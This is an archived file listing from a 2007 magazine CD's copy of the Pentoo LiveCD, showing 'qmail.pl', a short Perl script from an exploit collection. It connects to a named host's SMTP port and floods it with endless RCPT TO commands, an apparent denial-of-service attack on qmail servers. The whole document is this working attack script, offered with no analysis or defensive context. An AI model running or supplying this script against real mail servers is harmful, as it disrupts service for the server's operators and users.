home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qmail / qmail.pl < prev    next >
Perl Script  |  2005-02-12  |  703b  |  18 lines
  1. #!/usr/local/bin/perl -w
  2. # $Id: qmail.pl,v 1.1.1.1 2005/02/12 19:35:48 loni Exp $
  3. require 5.002;
  4. use strict;
  5. use Socket;
  6. if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
  7. my $port = 25; my $proto = getprotobyname("tcp");
  8. my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
  9. my $paddr = sockaddr_in($port, $iaddr);
  10. socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
  11. connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
  12. send(SKT,"mail from: <me\@me>\n",0) || die "send() $!";
  13. my $infstr = "rcpt to: <me\@" . $ARGV[0] . ">\n"; print("Attacking..","\n");
  14. while(<SKT>){
  15. send(SKT,$infstr,0) || die "send() $!";
  16. }
  17. die "Connection lost!";
  18.